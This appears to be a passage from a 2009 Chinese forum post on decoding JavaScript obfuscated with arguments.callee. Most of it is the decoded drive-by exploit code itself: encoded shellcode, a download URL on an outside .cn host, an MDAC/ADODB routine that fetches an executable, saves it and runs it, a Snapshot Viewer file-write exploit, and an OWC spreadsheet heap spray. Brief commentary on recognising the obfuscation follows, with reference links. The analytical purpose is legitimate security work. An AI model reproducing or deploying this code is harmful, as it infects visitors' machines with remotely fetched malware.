21f%u0000%u03ad%u1b85%u0002%uab00%u03ad%u1b85%u0002%u5000%uadab%u8503%u021b%u0000%u5eab%udb31%u56ad%u8503%u021b%u0000%uc689%ud789%ufc51%ua6f3%u7459%u5e04%ueb43%u5ee9%ud193%u03e0%u2785%u0002%u3100%u96f6%uad66%ue0c1%u0302%u1f85%u0002%u8900%uadc6%u8503%u021b%u0000%uebc3%u0010%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u8900%u1b85%u0002%u5600%ue857%uff58%uffff%u5e5f%u01ab%u80ce%ubb3e%u0274%uedeb%u55c3%u4c52%u4f4d%u2e4e%u4c44%u004c%u5255%u444c%u776f%u6c6e%u616f%u5464%u466f%u6c69%u4165%u7500%u6470%u7461%u2e65%u7865%u0065%u7263%u7361%u2e68%u6870%u0070%u7468%u7074%u2F3A%u6B2F%u7A61%u7269%u616E%u6179%u6574%u616D%u632E%u2F6E%u7777%u2F77%u7865%u2E65%u6870%u0070%u9000");
var p_url = "http://kazirnayatema.cn/www/exe.php";
function MDAC(){
var nuc='';
d8= 0;
var bG5hCjwh = document.createElement("o"+nuc+"bj"+nuc+"e"+nuc+"ct");
bG5hCjwh.setAttribute("id","<?="+nuc+"bG5"+nuc+"h"+nuc+"C"+nuc+"jwh?>");
bG5hCjwh.setAttribute("c"+nuc+"la"+nuc+"ssid","c"+nuc+"lsid"+nuc+":"+nuc+"B"+nuc+"D"+nuc+"96"+nuc+"C"+nuc+"5"+nuc+"56-65"+nuc+"A"+nuc+"3"+nuc+"-"+nuc+"1"+nuc+"1D"+nuc+"0-98"+nuc+"3"+nuc+"A"+nuc+"-"+nuc+"0"+nuc+"0C04F"+nuc+"C"+nuc+"29"+nuc+"E"+nuc+"3"+nuc+"6");
try{
var Mezu091 = bG5hCjwh.CreateObject("a"+nuc+"d"+nuc+"od"+nuc+"b"+nuc+".str"+nuc+"e"+nuc+"am",'');
var d8 = 1;
}catch(e){}
try{
var PEELt6 = bG5hCjwh.CreateObject("S"+nuc+"h"+nuc+"ell.Ap"+nuc+"p"+nuc+"l"+nuc+"i"+nuc+"c"+nuc+"ation",'');
var d8 = 1;
}
catch(e){}
if(d8 == 1)
{
try
{
var kAr5dfL = bG5hCjwh.CreateObject("msx"+nuc+"m"+nuc+"l2."+nuc+"XMLHTTP",'');
kAr5dfL.open("G"+nuc+"E"+nuc+"T",p_url,false);
kAr5dfL.send();
Mezu091.type = 1;
Mezu091.open();
Mezu091.Write(kAr5dfL.responseBody);
Frogxa = "..\\S87ekhV.exe";
Mezu091.SaveToFile(Frogxa,2);
eval("P"+nuc+"EELt6."+nuc+"ShellEx"+nuc+"ecut"+nuc+"e"+nuc+"(Frogxa)"+nuc+";");
return 1;
}
catch(e){}
}
}
function PDF(){
try {
var obj = null;
obj = new ActiveXObject("AcroPDF.PDF");
if (!obj) {obj = new ActiveXObject("PDF.PdfCtrl");}
if (obj) {document.write("<embed width='150' height='150' src='spl/pdf.pdf' type='application/pdf'></embed>");setTimeout("SPD()", 1000);return;}
} catch(e) {}
SPD();return;
}
function SS()
{
try{
ret=new ActiveXObject("snpvw.Snapshot Viewer Control.1");
if (ret){
var arbitrary_file = p_url;
var dest = 'C:/Program Files/Outlook Express/wab.exe';
document.write("<object classid='clsid:F0E42D60-368C-11D0-AD81-00A0C90DC8D9' id='attack'></object>");
attack.SnapshotPath = arbitrary_file;
setTimeout('window.location = "ldap://127.0.0.1"',2000);
attack.CompressedPath = dest;
attack.PrintSnapshot(arbitrary_file,dest);
}
}catch(e){}
return;
}
function SPD(){
try{
obj = new ActiveXObject("OWC10.Spreadsheet");
if(!obj) {obj = new ActiveXObject("OWC11.Spreadsheet"); }
if(obj){
var array = new Array();
var ls = 0x81000-(shellcode.length*2);
var bigblock = unescape("%u0b0c%u0b0C");
while(bigblock.length<ls/2)
{bigblock+=bigblock;}
var lh = bigblock.substring(0,ls/2);
delete bigblock;
for(i=0;i<0x99*2;i++) {
array[i] = lh + lh + shellcode;
}
e=new Array();
e.push(1);
e.push(2);
e.push(0);
e.push(window);
for(i=0;i<e.length;i++){
for(j=0;j<10;j++){
try{
obj.Evaluate(e[i]);
}
catch(e)
{}
}
}
window.status=e[3] +'';
for(j=0;j<10;j++){
try{
obj.msDataSourceObject(e[3]);
}
catch(e)
{}
}
setTimeout("SS()", 2000);return;
}
}catch(e){}
SS();return;
}
if (MDAC()||PDF()) { }
</script>
当然，这段arguments.callee在神器中也可以解出来，只不过在弹出的窗口中选择Ignore就可以了。也许有人问我，直接神器多简单。毕竟工具不是万能的，自己能解决的还是靠自己比较好^_^
说到这里，一个很重要的问题还没有解决，那就是这类加密的特征是什么呢？看看下面的就知道了。
var xmmogfqlsql='nxfhzbwz';
this.mqiiu=false;
var RZQQR=arguments.callee.toString();
this.soouwdso='jbbsvgkz';
RZQQR=RZQQR.substr('function '.length);
总结一下，arguments.callee加密的主要特征就是代码中含有arguments.callee和许多%%组成的，呵呵。
下面是几个相关的技术文档，有兴趣的可以看看
http://safelab.spaces.live.com/blog/cns!A6B213403DBD59AF!1499.entry Blast
http://msdn.microsoft.com/zh-cn/library/xfh8tztd.aspx 微软
http://bbs.janmeng.com/viewthread.php?tid=876688&extra=page%3D1 shadowmin
这个arguments.callee里有document.write像是个特殊情况，如果遇到不同的情况，可以自己用神器试试看。 | 
发表于 2009-10-8 12:00
发表于 2009-10-9 10:51
发表于 2009-10-9 15:50
